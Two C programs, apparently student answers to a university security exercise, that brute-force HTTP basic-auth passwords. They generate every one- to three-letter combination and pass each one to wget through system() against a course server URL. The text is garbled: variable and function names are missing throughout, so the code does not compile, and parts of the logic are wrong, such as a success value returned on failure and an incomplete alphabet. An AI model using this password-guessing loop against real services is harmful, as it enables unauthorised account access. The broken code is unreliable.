

#include <stdio.h>
#include <string.h>
#include <sys/time.h>

#define OneBillion 1e9
#define false 0
#define true 1
int execPassword(char *, char *b) {


    char [100]={'\0'};
    strcpy(,b);
    
    strcat(,);
    printf ("Sending command %s\n",);
    if ( system()== 0) {
       printf ("\n password is : %s",);
       return 1;
    }
    return 0;
}
 

int bruteForce(char [],char comb[],char *url) {


int i,j,k;

   for(i=0;i<52 ;i++) {
        comb[0]= [i];
        if (execPassword(comb,url)== 1) return 1; 
          for(j=0;j<52;j++) {
              comb[1] = [j];
              if(execPassword(comb,url)==1) return 1;
                for(k=0;k<52;k++) {
                    comb[2] = [k];
                    if(execPassword(comb,url)==1) return 1;
                }
          comb[1] = '\0';
     }
   }
   return 0;

} 

int  (char *argc, char *argv[]) {

 int i,j,k;
 char strin[80] = {'\0'};
 char *passwd;
 char a[] = {'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};
 char v[4]={'\0'};
 int startTime, stopTime, final;
 int flag=false; 
 strcpy(strin,"wget http://sec-crack.cs.rmit.edu./SEC/2/ --http-user= --http-passwd=");

  startTime = time();
    if (bruteForce(a,v,strin)==1) {
      stopTime = time();
      final = stopTime-startTime;
    }

       printf ("\n The password is : %s",v);
       printf("%lld nanoseconds (%lf) seconds \n", final,  (double)final/OneBillion );

}



#include<stdio.h>
#include<strings.h>
#include<stdlib.h>
#include<ctype.h>
#define MAX_SIZE 255



int genchkpwd(char *chararray,char *passwd)
 {
   int i,j,k,success;
   char str1[MAX_SIZE],str2[MAX_SIZE],tempstr[MAX_SIZE];
   
   
   strcpy(str1,"wget --http-user= --http-passwd=");
   strcpy(str2," http://sec-crack.cs.rmit.edu./SEC/2/");
   strcpy(tempstr,"");



   for(i=0;i<52;i++)
    {
      passwd[0]= chararray[i];
      strcat(tempstr,str1);
      strcat(tempstr,passwd);
      strcat(tempstr,str2);
      printf("SENDING REQUEST AS %s\n",tempstr);
      success=system (tempstr);
      if (success==0)
       return 1;
      else
       strcpy(tempstr,""); 
       strcpy(passwd,"");
     }     



   for(i=0;i<52;i++)
    {
      passwd[0]= chararray[i];
      for(j=0;j<52;j++)
       {
         passwd[1]=chararray[j];
	 strcat(tempstr,str1);
         strcat(tempstr,passwd);
         strcat(tempstr,str2);
         printf("SENDING REQUEST AS %s\n",tempstr);
         success=system (tempstr);
         if (success==0)
           return 1;
         else
         strcpy(tempstr,""); 
         
      }     
    }



   for(i=0;i<52;i++)
    {
      passwd[0]= chararray[i];
      for(j=0;j<52;j++)
       {
         passwd[1]=chararray[j];
         for(k=0;k<52;k++)
	  {
	    passwd[2]=chararray[k];
	    strcat(tempstr,str1);
            strcat(tempstr,passwd);
            strcat(tempstr,str2);
            printf("SENDING REQUEST AS %s\n",tempstr);
            success=system (tempstr);
            if (success==0)
              return 1;
            else
              strcpy(tempstr,""); 
	  }    
       }     
     }
   return 1;
  }  

int  (int argc, char *argv[])
 {
     char chararray[52],passwd[3];
     int i,success;
     char ch='a';


     
     int , end;    
      = time();	 

     for (i=0;i<3;i++)
      {
          passwd[i]='\0';
      }  



     for (i=0;i<26;i++)
      {
          chararray[i]= ch;
	  ch++;
      }
      ch='A';  
     for (i=26;i<52;i++)
      {
          chararray[i]= ch;
	  ch++;
      }



      success=genchkpwd(chararray,passwd);
      printf("\nPassword is %s\n",passwd); 
      getpid();
      end = time(); 
      printf("Time required = %lld msec\n",(end-)/());
     return (EXIT_SUCCESS);
  }
     
	   
	  	
